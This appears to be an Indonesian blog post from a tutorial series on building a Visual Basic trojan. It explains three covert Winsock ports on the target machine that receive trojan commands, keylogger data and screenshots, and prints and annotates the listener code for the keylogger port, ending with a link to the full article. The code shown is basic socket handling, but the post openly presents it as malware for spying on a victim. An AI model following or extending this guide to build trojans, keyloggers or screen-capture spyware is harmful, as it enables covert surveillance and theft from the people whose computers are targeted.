Trojan dapat melakukan manipulasi jika telah terjadi koneksi data antarkomputer satu dengan lainnya. Antara komputer klien dan komputer server. Antara mas Romeo dan mbak Juliet … hehehe ☺ ingat pembahasan legenda Romeo dan Juliet bukan? Nah … pada bagian ini akan mencermati bagaimana hal itu dapat dilakukan.
1 Tiga Port Utama
Masih ingat kita mempunyai 3 winsock yang membuka 3 port siluman untuk program Trojan kita? Tentu saja! Namanya adalah metaSender, metaSendData, dan metaServer.
1.1 metaServer
Membuka suatu port dengan nomor 6621, dengan cara memanggil perintah winsock yang bernama metaServer dengan perintah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6621.Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi standar Trojan.
1.2 metaSender
Membuka suatu port dengan nomor 6808 dengan cara memanggil perintah winsock yang bernama metaSender dengan perintah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6808. Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi KeyLogger.
1.3 metaSendData
Membuka suatu port dengan nomor 6820 dengan cara memanggil perintah winsock yang bernama metaSendData dengan peri ntah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6820. Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi pengambilan gambar komputer Target.
2 MetaSender
Seperti telah kita ulas di depan, Winsoc k dengan nama metaSender ini akan mem-buka dan standby di port 6808. Winsock ini kita gunakan sebagai gerbang standar penerimaan data-data manipulasi KeyL ogger. Lalu bagaimana ia melakukannya? Berikut ini kita akan mengulasnya. Petikan listingnya sebagai berikut:
Private Sub metaSender_Close()
Do While metaSender.State <> sckClosed
metaSender.Close
Loop
metaSender.Listen
End Sub
Private Sub metaSender_ConnectionRequest(ByVal requestID As Long)
metaSender.Close
metaSender.Accept requestID
End Sub
Private Sub metaSender_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext
As Long, CancelDisplay As Boolean)
metaSender.Close
End Sub
Keterangan:
Private Sub metaSender_Close()
Membuat suatu rutin untuk memantau status ( state ) dari Winsock MetaSender. State yang dipantau bernama Close. Subrutin …._close ini adalah keyword standar Winsock. Artinya kita tidak dapat sembarangan mengga nti kata _Close deng an sembarang kata.
Do While metaSender.State <> sckClosed
Lakukanlah aktivitas selama status metaSender tidak terputus (sckClosed ).
metaSender.Close
Tutup Winsock metaSender. Proses ini penting agar pemeriksaan status Winsock
metaSender aman. Tidak Error!
Loop
Lakukan perulangan sesuai dengan kriteria status metaSender.
metaSender.Listen
Jika metaSender tidak Closed, maka … masuk ke modus Listen. Alias siaga untuk menerima data. Alias mas Romeo menunggu “perintah cinta” dari mbak Juliet … ☺
End Sub
Subrutin metaSender_Close() berakhir.
Kita lihat subrutin berikutnya:
Private Sub metaSender_ConnectionRequest(ByVal requestID As Long)
Buat rutin untuk permintaan koneksi ( ConnectionRequest) dari winsock metaSender.
metaSender.Close
Tutup winsock metaSender. Lakukan ini agar tidak terjadi error saat menerima masukan
data.
metaSender.Accept requestID
Winsock metaSender diaktifkan untuk menerima identitas data yang diminta. Atau
menyetujui panggilan.
Download Lebih Lengkap Artikel nya
metaserver koneksi data.pdf
Posting Komentar
"Bagaimana menurut Anda?
Senang sekali jika Anda mau berbagi pendapat dengan saya disini. :)"
Mohon Komentarnya Ya sahabat Bloger..